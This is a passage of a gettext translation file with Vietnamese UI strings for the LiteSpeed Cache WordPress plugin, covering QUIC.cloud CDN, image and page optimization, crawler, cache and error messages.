"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: vi_VN\n"
"Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)\n"

#: tpl/toolbox/purge.tpl.php:215
msgid "e.g. Use %1$s or %2$s."
msgstr "ví dụ: Sử dụng %1$s hoặc %2$s."

#: tpl/toolbox/log_viewer.tpl.php:64 tpl/toolbox/report.tpl.php:62
msgid "Click to copy"
msgstr "Nhấn để sao chép"

#: tpl/inc/admin_footer.php:17
msgid "Rate %1$s on %2$s"
msgstr "Đánh giá %1$s trên %2$s"

#: tpl/cdn/cf.tpl.php:74
msgid "Clear %s cache when \"Purge All\" is run."
msgstr "Xóa bộ nhớ đệm %s khi chạy \"Xóa tất cả\"."

#: tpl/cache/settings_inc.login_cookie.tpl.php:102
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive."
msgstr "CÚ PHÁP: chữ và số và dấu \"_\". Không có khoảng trắng và phân biệt chữ hoa chữ thường."

#: tpl/cache/settings_inc.login_cookie.tpl.php:26
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS."
msgstr "CÚ PHÁP: chữ và số và dấu \"_\". Không có khoảng trắng và phân biệt chữ hoa chữ thường. PHẢI LÀ DUY NHẤT so với các ứng dụng web khác."

#: tpl/banner/score.php:122
msgid "Submit a ticket"
msgstr "Gửi ticket"

#: src/lang.cls.php:247
msgid "Clear Cloudflare cache"
msgstr "Xóa bộ nhớ đệm Cloudflare"

#: src/cloud.cls.php:170 src/cloud.cls.php:250
msgid "QUIC.cloud's access to your WP REST API seems to be blocked."
msgstr "Quyền truy cập của QUIC.cloud vào WP REST API của bạn dường như đã bị chặn."

#: tpl/toolbox/log_viewer.tpl.php:65
msgid "Copy Log"
msgstr "Sao chép nhật ký"

#: tpl/page_optm/settings_tuning_css.tpl.php:149
msgid "Selectors must exist in the CSS. Parent classes in the HTML will not work."
msgstr "Bộ chọn phải tồn tại trong CSS. Các lớp cha trong HTML sẽ không hoạt động."

#: tpl/page_optm/settings_tuning_css.tpl.php:142
msgid "List the CSS selectors whose styles should always be included in CCSS."
msgstr "Liệt kê các bộ chọn CSS mà kiểu của chúng luôn phải được đưa vào CCSS."

#: tpl/page_optm/settings_tuning_css.tpl.php:67
msgid "List the CSS selectors whose styles should always be included in UCSS."
msgstr "Liệt kê các bộ chọn CSS mà kiểu của chúng luôn phải được đưa vào UCSS."

#: tpl/img_optm/summary.tpl.php:77 tpl/page_optm/settings_css.tpl.php:156
#: tpl/page_optm/settings_css.tpl.php:293
#: tpl/page_optm/settings_vpi.tpl.php:101
msgid "Available after %d second(s)"
msgstr "Khả dụng sau %d giây"

#: tpl/dash/dashboard.tpl.php:346
msgid "Enable QUIC.cloud Services"
msgstr "Kích hoạt Dịch vụ QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:162
msgid "Do not show this again"
msgstr "Không hiển thị lại"

#: tpl/dash/dashboard.tpl.php:153
msgid "Free monthly quota available. Can also be used anonymously (no email required)."
msgstr "Có sẵn hạn ngạch miễn phí hàng tháng. Cũng có thể sử dụng ẩn danh (không yêu cầu email)."

#: tpl/cdn/cf.tpl.php:17
msgid "Cloudflare Settings"
msgstr "Cài đặt Cloudflare"

#: src/tool.cls.php:44 src/tool.cls.php:55
msgid "Failed to detect IP"
msgstr "Không thể phát hiện IP"

#: src/lang.cls.php:170
msgid "CCSS Selector Allowlist"
msgstr "Danh sách trắng Bộ chọn CCSS"

#: tpl/toolbox/settings-debug.tpl.php:82
msgid "Outputs to a series of files in the %s directory."
msgstr "Đầu ra vào một loạt các tệp trong thư mục %s."

#: tpl/toolbox/report.tpl.php:87
msgid "Attach PHP info to report. Check this box to insert relevant data from %s."
msgstr "Đính kèm thông tin PHP vào báo cáo. Đánh dấu vào ô này để chèn dữ liệu liên quan từ %s."

#: tpl/toolbox/report.tpl.php:63
msgid "Last Report Date"
msgstr "Ngày báo cáo cuối cùng"

#: tpl/toolbox/report.tpl.php:62
msgid "Last Report Number"
msgstr "Số báo cáo cuối cùng"

#: tpl/toolbox/report.tpl.php:40
msgid "Regenerate and Send a New Report"
msgstr "Tạo lại và gửi báo cáo mới"

#: tpl/img_optm/summary.tpl.php:372
msgid "This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action."
msgstr "Điều này sẽ đặt lại %1$s. Nếu bạn đã thay đổi cài đặt WebP/AVIF và muốn tạo %2$s cho các hình ảnh đã được tối ưu hóa trước đó, hãy sử dụng hành động này."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:368
msgid "Soft Reset Optimization Counter"
msgstr "Đặt lại bộ đếm tối ưu hóa"

#: tpl/img_optm/settings.media_webp.tpl.php:34
msgid "When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images."
msgstr "Khi chuyển đổi định dạng, vui lòng %1$s hoặc %2$s để áp dụng lựa chọn mới này cho các hình ảnh đã được tối ưu hóa trước đó."

#: tpl/img_optm/settings.media_webp.tpl.php:31
msgid "%1$s is a %2$s paid feature."
msgstr "%1$s là một tính năng trả phí %2$s."

#: tpl/general/online.tpl.php:160
msgid "Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first."
msgstr "Xóa tích hợp QUIC.cloud khỏi trang web này. Lưu ý: Dữ liệu QUIC.cloud sẽ được lưu giữ để bạn có thể bật lại dịch vụ bất cứ lúc nào. Nếu bạn muốn xóa hoàn toàn trang web của mình khỏi QUIC.cloud, hãy xóa tên miền thông qua Bảng điều khiển QUIC.cloud trước."

#: tpl/general/online.tpl.php:159
msgid "Disconnect from QUIC.cloud"
msgstr "Ngắt kết nối khỏi QUIC.cloud"

#: tpl/general/online.tpl.php:159
msgid "Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard."
msgstr "Bạn có chắc chắn muốn ngắt kết nối khỏi QUIC.cloud không? Điều này sẽ không xóa bất kỳ dữ liệu nào khỏi bảng điều khiển QUIC.cloud."

#: tpl/general/online.tpl.php:144
msgid "Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features."
msgstr "Web của bạn đã được kết nối và đang sử dụng Dịch vụ Trực tuyến QUIC.cloud với tư cách là một <strong>người dùng ẩn danh</strong>. Chức năng CDN và một số tính năng của dịch vụ tối ưu hóa không có sẵn cho người dùng ẩn danh. Liên kết đến QUIC.cloud để sử dụng CDN và tất cả các tính năng Dịch vụ Trực tuyến có sẵn."

#: tpl/general/online.tpl.php:143
msgid "QUIC.cloud Integration Enabled with limitations"
msgstr "Tích hợp QUIC.cloud được bật với các giới hạn"

#: tpl/general/online.tpl.php:126
msgid "Your site is connected and ready to use QUIC.cloud Online Services."
msgstr "Trang web của bạn đã được kết nối và sẵn sàng sử dụng Dịch vụ Trực tuyến QUIC.cloud."

#: tpl/general/online.tpl.php:125
msgid "QUIC.cloud Integration Enabled"
msgstr "Tích hợp QUIC.cloud được bật"

#: tpl/general/online.tpl.php:114
msgid "In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it."
msgstr "Để sử dụng hầu hết các dịch vụ QUIC.cloud, bạn cần dung lượng. QUIC.cloud cung cấp cho bạn dung lượng miễn phí mỗi tháng, nhưng nếu bạn cần nhiều hơn, bạn có thể mua thêm."

#: tpl/general/online.tpl.php:105
msgid "Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding."
msgstr "Cung cấp tuỳ chọn <strong>dịch vụ DNS tích hợp sẵn</strong> để đơn giản hóa việc kết nối CDN."

#: tpl/general/online.tpl.php:104
msgid "Provides <strong>security at the CDN level</strong>, protecting your server from attack."
msgstr "Cung cấp <strong>bảo mật ở cấp độ CDN</strong>, bảo vệ máy chủ của bạn khỏi các cuộc tấn công."

#: tpl/general/online.tpl.php:103
msgid "Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>."
msgstr "Cung cấp phạm vi toàn cầu với một <strong>mạng lưới hơn 80 PoPs</strong> đang phát triển."

#: tpl/general/online.tpl.php:102
msgid "Caches your entire site, including dynamic content and <strong>ESI blocks</strong>."
msgstr "Cache toàn bộ trang web của bạn, bao gồm nội dung động và <strong>các khối ESI</strong>."

#: tpl/general/online.tpl.php:98
msgid "Content Delivery Network"
msgstr "Mạng phân phối nội dung"

#: tpl/general/online.tpl.php:89
msgid "<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold."
msgstr "<strong>Ảnh Viewport (VPI)</strong> cung cấp một cái nhìn hoàn hảo, đầy đủ ngay trên phần đầu trang."

#: tpl/general/online.tpl.php:88
msgid "<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads."
msgstr "<strong>Chỗ giữ chỗ Ảnh Chất lượng Thấp (LQIP)</strong> mang đến cho hình ảnh của bạn một vẻ ngoài dễ chịu hơn khi nó được tải lười."

#: tpl/general/online.tpl.php:87
msgid "<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall."
msgstr "<strong>CSS độc nhất (UCSS)</strong> gỡ bỏ các định nghĩa kiểu không sử dụng để tăng tốc độ tải trang tổng thể."

#: tpl/general/online.tpl.php:86
msgid "<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling."
msgstr "<strong>CSS quan trọng (CCSS)</strong> tải nội dung hiển thị ở trên gấp nhanh hơn và với đầy đủ kiểu dáng."

#: tpl/general/online.tpl.php:84
msgid "QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores."
msgstr "Dịch vụ Tối ưu hóa Trang của QUIC.cloud giải quyết vấn đề mã CSS cồng kềnh và cải thiện trải nghiệm người dùng trong quá trình tải trang, điều này có thể dẫn đến cải thiện điểm số tốc độ trang."

#: tpl/general/online.tpl.php:81
msgid "Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee."
msgstr "Xử lý các định dạng hình ảnh PNG, JPG và WebP là miễn phí. AVIF có sẵn với phí."

#: tpl/general/online.tpl.php:79
msgid "Optionally creates next-generation WebP or AVIF image files."
msgstr "Tùy chọn tạo các tệp hình ảnh WebP hoặc AVIF thế hệ tiếp theo."

#: tpl/general/online.tpl.php:78
msgid "Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality."
msgstr "Xử lý các hình ảnh PNG và JPG đã tải lên của bạn để tạo ra các phiên bản nhỏ hơn mà không làm giảm chất lượng."

#: tpl/general/online.tpl.php:76
msgid "QUIC.cloud's Image Optimization service does the following:"
msgstr "Dịch vụ Tối ưu hóa Hình ảnh của QUIC.cloud thực hiện các thao tác sau:"

#: tpl/general/online.tpl.php:72
msgid "<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading."
msgstr "<strong>Tối ưu hóa Trang</strong> tinh giản các kiểu trang và yếu tố hình ảnh để tải nhanh hơn."

#: tpl/general/online.tpl.php:71
msgid "<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster."
msgstr "<strong>Tối ưu hóa Ảnh</strong> giúp bạn có kích thước file ảnh nhỏ hơn, truyền tải nhanh hơn."

#: tpl/general/online.tpl.php:69
msgid "QUIC.cloud's Online Services improve your site in the following ways:"
msgstr "Các Dịch vụ Trực tuyến của QUIC.cloud cải thiện trang web của bạn theo các cách sau:"

#: tpl/general/online.tpl.php:60
msgid "Speed up your WordPress site even further with QUIC.cloud Online Services and CDN."
msgstr "Tăng tốc độ trang web WordPress của bạn hơn nữa với Dịch vụ Trực tuyến và CDN của QUIC.cloud."

#: tpl/general/online.tpl.php:59
msgid "QUIC.cloud Integration Disabled"
msgstr "Tích hợp QUIC.cloud bị tắt"

#: tpl/general/online.tpl.php:22
msgid "QUIC.cloud Online Services"
msgstr "Dịch vụ Trực tuyến QUIC.cloud"

#: tpl/general/entry.tpl.php:16 tpl/general/online.tpl.php:68
msgid "Online Services"
msgstr "Dịch vụ Trực tuyến"

#: tpl/db_optm/manage.tpl.php:186
msgid "Autoload"
msgstr "Tự tải"

#: tpl/dash/dashboard.tpl.php:886
msgid "Refresh QUIC.cloud status"
msgstr "Làm mới trạng thái QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:445 tpl/dash/dashboard.tpl.php:510
msgid "Refresh"
msgstr "Làm mới"

#: tpl/dash/dashboard.tpl.php:418
msgid "You must be using one of the following products in order to measure Page Load Time:"
msgstr "Bạn phải sử dụng một trong những sản phẩm sau để đo thời gian tải trang:"

#: tpl/dash/dashboard.tpl.php:181
msgid "Refresh Usage"
msgstr "Làm mới sử dụng"

#: tpl/dash/dashboard.tpl.php:128 tpl/dash/dashboard.tpl.php:907
msgid "News"
msgstr "Tin tức"

#: tpl/crawler/summary.tpl.php:28
msgid "You need to set the %s in Settings first before using the crawler"
msgstr "Bạn cần đặt %s trong Cài đặt trước khi sử dụng trình thu thập dữ liệu."

#: tpl/crawler/settings.tpl.php:136
msgid "You must set %1$s to %2$s before using this feature."
msgstr "Bạn phải đặt %1$s thành %2$s trước khi sử dụng tính năng này."

#: tpl/crawler/settings.tpl.php:116 tpl/crawler/summary.tpl.php:211
msgid "You must set %s before using this feature."
msgstr "Bạn phải đặt %s trước khi sử dụng tính năng này."

#: tpl/cdn/qc.tpl.php:139 tpl/cdn/qc.tpl.php:146
msgid "My QUIC.cloud Dashboard"
msgstr "Bảng điều khiển QUIC.cloud của tôi"

#: tpl/cdn/qc.tpl.php:130
msgid "You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard."
msgstr "Hiện tại bạn đang sử dụng dịch vụ dưới dạng người dùng ẩn danh. Để quản lý các tùy chọn QUIC.cloud của bạn, hãy sử dụng nút bên dưới để tạo tài khoản và liên kết với Bảng điều khiển QUIC.cloud."

#: tpl/cdn/qc.tpl.php:123 tpl/cdn/qc.tpl.php:143
msgid "To manage your QUIC.cloud options, go to QUIC.cloud Dashboard."
msgstr "Để quản lý các tùy chọn QUIC.cloud của bạn, hãy truy cập Bảng điều khiển QUIC.cloud."

#: tpl/cdn/qc.tpl.php:119
msgid "To manage your QUIC.cloud options, please contact your hosting provider."
msgstr "Để quản lý các tùy chọn QUIC.cloud của bạn, vui lòng liên hệ với nhà cung cấp dịch vụ lưu trữ của bạn."

#: tpl/cdn/qc.tpl.php:117
msgid "To manage your QUIC.cloud options, go to your hosting provider's portal."
msgstr "Để quản lý các tùy chọn QUIC.cloud của bạn, hãy truy cập cổng thông tin của nhà cung cấp dịch vụ lưu trữ."

#: tpl/cdn/qc.tpl.php:96
msgid "QUIC.cloud CDN Options"
msgstr "Tùy chọn QUIC.cloud CDN"

#: tpl/cdn/qc.tpl.php:73
msgid "no matter where they live."
msgstr "bất kể họ sống ở đâu."

#: tpl/cdn/qc.tpl.php:71
msgid "Content Delivery Network Service"
msgstr "Dịch vụ Mạng phân phối nội dung"

#: tpl/cdn/qc.tpl.php:61 tpl/dash/dashboard.tpl.php:856
msgid "Enable QUIC.cloud CDN"
msgstr "Bật QUIC.cloud CDN"

#: tpl/cdn/qc.tpl.php:59
msgid "Link & Enable QUIC.cloud CDN"
msgstr "Liên kết & Bật QUIC.cloud CDN"

#: tpl/cdn/qc.tpl.php:55
msgid "QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users."
msgstr "QUIC.cloud CDN <strong>không có sẵn</strong> cho người dùng ẩn danh (không có liên kết)."

#: tpl/cdn/qc.tpl.php:53
msgid "QUIC.cloud CDN is currently <strong>fully disabled</strong>."
msgstr "QUIC.cloud CDN hiện đang <strong>được tắt hoàn toàn</strong>."

#: tpl/cdn/qc.tpl.php:46 tpl/dash/dashboard.tpl.php:168
msgid "Learn More about QUIC.cloud"
msgstr "Tìm hiểu thêm về QUIC.cloud"

#: tpl/cdn/qc.tpl.php:45 tpl/dash/dashboard.tpl.php:166
#: tpl/general/online.tpl.php:26
msgid "QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud."
msgstr "QUIC.cloud cung cấp dịch vụ CDN và tối ưu hóa trực tuyến và không bắt buộc. Bạn có thể sử dụng nhiều tính năng của plugin này mà không cần QUIC.cloud."

#: tpl/cdn/qc.tpl.php:41 tpl/dash/dashboard.tpl.php:158
#: tpl/general/online.tpl.php:64 tpl/general/online.tpl.php:119
msgid "Enable QUIC.cloud services"
msgstr "Bật dịch vụ QUIC.cloud"

#: tpl/cdn/qc.tpl.php:38 tpl/general/online.tpl.php:61
#: tpl/general/online.tpl.php:145
msgid "Free monthly quota available."
msgstr "Có sẵn hạn ngạch hàng tháng miễn phí."

#: tpl/cdn/qc.tpl.php:36 tpl/dash/dashboard.tpl.php:150
msgid "Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>."
msgstr "Tăng tốc trang web WordPress của bạn hơn nữa với <strong>Dịch vụ trực tuyến và CDN của QUIC.cloud</strong>."

#: tpl/cdn/qc.tpl.php:34 tpl/dash/dashboard.tpl.php:146
msgid "Accelerate, Optimize, Protect"
msgstr "Tăng tốc, Tối ưu hóa, Bảo vệ"

#: tpl/cdn/qc.tpl.php:29
msgid "Check the status of your most important settings and the health of your CDN setup here."
msgstr "Kiểm tra trạng thái của các cài đặt quan trọng nhất và tình trạng thiết lập CDN của bạn ở đây."

#: tpl/cdn/qc.tpl.php:27
msgid "QUIC.cloud CDN Status Overview"
msgstr "Tổng quan trạng thái QUIC.cloud CDN"

#: tpl/cdn/qc.tpl.php:24 tpl/dash/dashboard.tpl.php:885
msgid "Refresh Status"
msgstr "Làm mới trạng thái"

#: tpl/cdn/entry.tpl.php:16
msgid "Other Static CDN"
msgstr "CDN tĩnh khác"

#: tpl/banner/new_version.php:113 tpl/banner/score.php:141
#: tpl/banner/slack.php:48
msgid "Dismiss this notice."
msgstr "Bỏ thông báo này."

#: tpl/banner/cloud_promo.tpl.php:35
msgid "Send to twitter to get %s bonus"
msgstr "Gửi lên twitter để nhận %s điểm thưởng"

#: tpl/banner/cloud_promo.tpl.php:26
msgid "Spread the love and earn %s credits to use in our QUIC.cloud online services."
msgstr "Chia sẻ tình yêu và kiếm %s tín dụng để sử dụng trong các dịch vụ trực tuyến QUIC.cloud của chúng tôi."

#: src/media.cls.php:434
msgid "No backup of unoptimized AVIF file exists."
msgstr "Không tồn tại bản sao lưu của tệp AVIF chưa được tối ưu hóa."

#: src/media.cls.php:426
msgid "AVIF saved %s"
msgstr "AVIF đã lưu %s"

#: src/media.cls.php:420
msgid "AVIF file reduced by %1$s (%2$s)"
msgstr "Tệp AVIF giảm %1$s (%2$s)"

#: src/media.cls.php:411
msgid "Currently using original (unoptimized) version of AVIF file."
msgstr "Hiện đang sử dụng phiên bản gốc (chưa được tối ưu hóa) của tệp AVIF."

#: src/media.cls.php:404
msgid "Currently using optimized version of AVIF file."
msgstr "Hiện đang sử dụng phiên bản đã được tối ưu hóa của tệp AVIF."

#: src/lang.cls.php:214
msgid "WebP/AVIF For Extra srcset"
msgstr "WebP/AVIF Cho srcset bổ sung"

#: src/lang.cls.php:209
msgid "Next-Gen Image Format"
msgstr "Định dạng hình ảnh thế hệ tiếp theo"

#: src/img-optm.cls.php:2027
msgid "Enabled AVIF file successfully."
msgstr "Đã bật tệp AVIF thành công."

#: src/img-optm.cls.php:2022
msgid "Disabled AVIF file successfully."
msgstr "Đã tắt tệp AVIF thành công."

#: src/img-optm.cls.php:1374
msgid "Reset image optimization counter successfully."
msgstr "Đã đặt lại bộ đếm tối ưu hóa hình ảnh thành công."

#: src/file.cls.php:133
msgid "Filename is empty!"
msgstr "Tên tệp trống!"

#: src/error.cls.php:69
msgid "You will need to finish %s setup to use the online services."
msgstr "Bạn sẽ cần hoàn tất thiết lập %s để sử dụng các dịch vụ trực tuyến."

#: src/cloud.cls.php:2029
msgid "Sync QUIC.cloud status successfully."
msgstr "Đã đồng bộ trạng thái QUIC.cloud thành công."

#: src/cloud.cls.php:1977
msgid "Linked to QUIC.cloud preview environment, for testing purpose only."
msgstr "Đã liên kết với môi trường xem trước QUIC.cloud, chỉ dành cho mục đích thử nghiệm."

#: src/cloud.cls.php:1710
msgid "Click here to proceed."
msgstr "Nhấp vào đây để tiếp tục."

#: src/cloud.cls.php:1709
msgid "Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account."
msgstr "Trang web không được nhận dạng. QUIC.cloud đã tự động tắt. Vui lòng kích hoạt lại tài khoản QUIC.cloud của bạn."

#: src/cloud.cls.php:708
msgid "Reset %s activation successfully."
msgstr "Đã đặt lại %s kích hoạt thành công."

#: src/cloud.cls.php:602 src/cloud.cls.php:640 src/cloud.cls.php:680
msgid "Congratulations, %s successfully set this domain up for the online services with CDN service."
msgstr "Chúc mừng, %s đã thiết lập thành công tên miền này cho các dịch vụ trực tuyến với dịch vụ CDN."

#: src/cloud.cls.php:597
msgid "Congratulations, %s successfully set this domain up for the online services."
msgstr "Chúc mừng, %s đã thiết lập thành công tên miền này cho các dịch vụ trực tuyến."

#: src/cloud.cls.php:595
msgid "Congratulations, %s successfully set this domain up for the anonymous online services."
msgstr "Chúc mừng, %s đã thiết lập thành công tên miền này cho các dịch vụ trực tuyến ẩn danh."

#: src/cloud.cls.php:573
msgid "%s activation data expired."
msgstr "Dữ liệu kích hoạt %s đã hết hạn."

#: src/cloud.cls.php:566
msgid "Failed to parse %s activation status."
msgstr "Thất bại khi phân tích cú pháp trạng thái kích hoạt %s."

#: src/cloud.cls.php:559
msgid "Failed to validate %s activation data."
msgstr "Thất bại khi xác thực dữ liệu kích hoạt %s."

#: src/cloud.cls.php:300
msgid "Cert or key file does not exist."
msgstr "Tệp chứng chỉ hoặc khóa không tồn tại."

#: src/cloud.cls.php:282 src/cloud.cls.php:328 src/cloud.cls.php:355
#: src/cloud.cls.php:371 src/cloud.cls.php:390 src/cloud.cls.php:408
msgid "You need to activate QC first."
msgstr "Bạn cần kích hoạt QC trước."

#: src/cloud.cls.php:238 src/cloud.cls.php:290
msgid "You need to set the %1$s first. Please use the command %2$s to set."
msgstr "Bạn cần thiết lập %1$s trước. Vui lòng sử dụng lệnh %2$s để thiết lập."

#: src/cloud.cls.php:180 src/cloud.cls.php:260
msgid "Failed to get echo data from WPAPI"
msgstr "Thất bại khi lấy dữ liệu echo từ WPAPI"

#: src/admin-settings.cls.php:104
msgid "The user with id %s has editor access, which is not allowed for the role simulator."
msgstr "Người dùng có id %s có quyền truy cập chỉnh sửa, điều này không được phép đối với trình giả lập vai trò."

#: src/error.cls.php:95
msgid "You have used all of your quota left for current service this month."
msgstr "Bạn đã sử dụng tất cả hạn mức còn lại cho dịch vụ hiện tại trong tháng này."

#: src/error.cls.php:87 src/error.cls.php:100
msgid "Learn more or purchase additional quota."
msgstr "Xem thêm hoặc mua thêm hạn mức."

#: src/error.cls.php:82
msgid "You have used all of your daily quota for today."
msgstr "Bạn đã sử dụng tất cả hạn mức hàng ngày của bạn cho hôm nay."

#: tpl/page_optm/settings_html.tpl.php:108
msgid "If comment to be kept is like: %1$s write: %2$s"
msgstr "Nếu bình luận cần giữ lại có dạng: %1$s hãy viết: %2$s"

#: tpl/page_optm/settings_html.tpl.php:106
msgid "When minifying HTML do not discard comments that match a specified pattern."
msgstr "Khi rút gọn HTML, đừng loại bỏ các bình luận khớp với một mẫu được chỉ định."

#: tpl/cache/settings-advanced.tpl.php:39
msgid "Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space."
msgstr "Chỉ định một hành động AJAX trong POST/GET và số giây để lưu trữ yêu cầu đó, được phân cách bằng dấu cách."

#: src/lang.cls.php:150
msgid "HTML Keep Comments"
msgstr "Giữ Bình Luận HTML"

#: src/lang.cls.php:98
msgid "AJAX Cache TTL"
msgstr "AJAX Cache TTL"

#: src/error.cls.php:112
msgid "You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now."
msgstr "Bạn có hình ảnh đang chờ được tải xuống. Vui lòng đợi quá trình tải xuống tự động hoàn tất hoặc tải xuống thủ công ngay bây giờ."

#: tpl/db_optm/manage.tpl.php:26
msgid "Clean all orphaned post meta records"
msgstr "Dọn dẹp tất cả các bản ghi meta bài viết mồ côi"

#: tpl/db_optm/manage.tpl.php:25
msgid "Orphaned Post Meta"
msgstr "Meta bài viết mồ côi"

#: tpl/dash/dashboard.tpl.php:863
msgid "Best available WordPress performance"
msgstr "Hiệu suất WordPress tốt nhất hiện có"

#: src/db-optm.cls.php:203
msgid "Clean orphaned post meta successfully."
msgstr "Đã dọn dẹp thành công các meta bài viết mồ côi."

#: tpl/img_optm/summary.tpl.php:325
msgid "Last Pulled"
msgstr "Lần kéo gần nhất"

#: tpl/cache/settings_inc.login_cookie.tpl.php:104
msgid "You can list the 3rd party vary cookies here."
msgstr "Bạn có thể liệt kê các cookie thay đổi của bên thứ ba tại đây."

#: src/lang.cls.php:227
msgid "Vary Cookies"
msgstr "Cookie thay đổi"

#: tpl/page_optm/settings_html.tpl.php:75
msgid "Preconnecting speeds up future loads from a given origin."
msgstr "Kết nối trước sẽ tăng tốc độ tải trong tương lai từ một nguồn gốc nhất định."

#: thirdparty/woocommerce.content.tpl.php:72
msgid "If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents."
msgstr "Nếu theme của bạn không sử dụng JS để cập nhật giỏ hàng mini, bạn phải bật tùy chọn này để hiển thị nội dung giỏ hàng chính xác."

#: thirdparty/woocommerce.content.tpl.php:71
msgid "Generate a separate vary cache copy for the mini cart when the cart is not empty."
msgstr "Tạo một bản sao bộ nhớ cache thay đổi riêng biệt cho giỏ hàng mini khi giỏ hàng không trống."

#: thirdparty/woocommerce.content.tpl.php:63
msgid "Vary for Mini Cart"
msgstr "Thay đổi cho giỏ hàng mini"

#: src/lang.cls.php:160
msgid "DNS Preconnect"
msgstr "Kết nối DNS trước"

#: src/doc.cls.php:38
msgid "This setting is %1$s for certain qualifying requests due to %2$s!"
msgstr "Cài đặt này là %1$s cho các yêu cầu đủ điều kiện nhất định do %2$s!"

#: tpl/page_optm/settings_tuning.tpl.php:43
msgid "Listed JS files or inline JS code will be delayed."
msgstr "Các tệp JS được liệt kê hoặc mã JS nội tuyến sẽ bị trì hoãn."

#: tpl/crawler/map.tpl.php:58
msgid "URL Search"
msgstr "Tìm kiếm URL"

#: src/lang.cls.php:162
msgid "JS Delayed Includes"
msgstr "JS trì hoãn bao gồm"

#: src/cloud.cls.php:1495
msgid "Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more."
msgstr "Khóa miền của bạn đã bị đưa vào danh sách chặn tạm thời để ngăn chặn lạm dụng. Bạn có thể liên hệ với bộ phận hỗ trợ tại QUIC.cloud để tìm hiểu thêm."

#: src/cloud.cls.php:1490
msgid "Cloud server refused the current request due to unpulled images. Please pull the images first."
msgstr "Máy chủ đám mây đã từ chối yêu cầu hiện tại do hình ảnh chưa được kéo. Vui lòng kéo hình ảnh trước."

#: tpl/crawler/summary.tpl.php:110
msgid "Current server load"
msgstr "Tải trọng máy chủ hiện tại"

#: src/object-cache.cls.php:714
msgid "Redis encountered a fatal error: %1$s (code: %2$d)"
msgstr "Redis đã gặp lỗi nghiêm trọng: %1$s (mã: %2$d)"

#: src/img-optm.cls.php:890
msgid "Started async image optimization request"
msgstr "Bắt đầu yêu cầu tối ưu hóa hình ảnh không đồng bộ"

#: src/crawler.cls.php:230
msgid "Started async crawling"
msgstr "Bắt đầu thu thập dữ liệu không đồng bộ"

#: src/conf.cls.php:509
msgid "Saving option failed. IPv4 only for %s."
msgstr "Lưu tùy chọn không thành công. Chỉ IPv4 cho %s."

#: src/cloud.cls.php:1502
msgid "Cloud server refused the current request due to rate limiting. Please try again later."
msgstr "Máy chủ đám mây đã từ chối yêu cầu hiện tại do giới hạn tốc độ. Vui lòng thử lại sau."

#: tpl/img_optm/summary.tpl.php:298
msgid "Maximum image post id"
msgstr "ID bài đăng hình ảnh tối đa"

#: tpl/img_optm/summary.tpl.php:297 tpl/img_optm/summary.tpl.php:372
msgid "Current image post id position"
msgstr "Vị trí ID bài đăng hình ảnh hiện tại"

#: src/lang.cls.php:25
msgid "Images ready to request"
msgstr "Hình ảnh sẵn sàng để yêu cầu"

#: tpl/dash/dashboard.tpl.php:384 tpl/general/online.tpl.php:31
#: tpl/img_optm/summary.tpl.php:54 tpl/img_optm/summary.tpl.php:56
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Redetect"
msgstr "Phát hiện lại"

#. translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket
#. path
#. translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value
#: tpl/cache/settings_inc.object.tpl.php:107
#: tpl/cache/settings_inc.object.tpl.php:146
msgid "If you are using a %1$s socket, %2$s should be set to %3$s"
msgstr "Nếu bạn đang sử dụng socket %1$s, thì %2$s phải được đặt thành %3$s"

#: src/root.cls.php:198
msgid "All QUIC.cloud service queues have been cleared."
msgstr "Tất cả hàng đợi dịch vụ QUIC.cloud đã được dọn dẹp."

#. translators: %s: The type of the given cache key.
#: src/object-cache-wp.cls.php:245
msgid "Cache key must be integer or non-empty string, %s given."
msgstr "Khóa cache phải là số nguyên hoặc chuỗi không trống, %s."

#: src/object-cache-wp.cls.php:242
msgid "Cache key must not be an empty string."
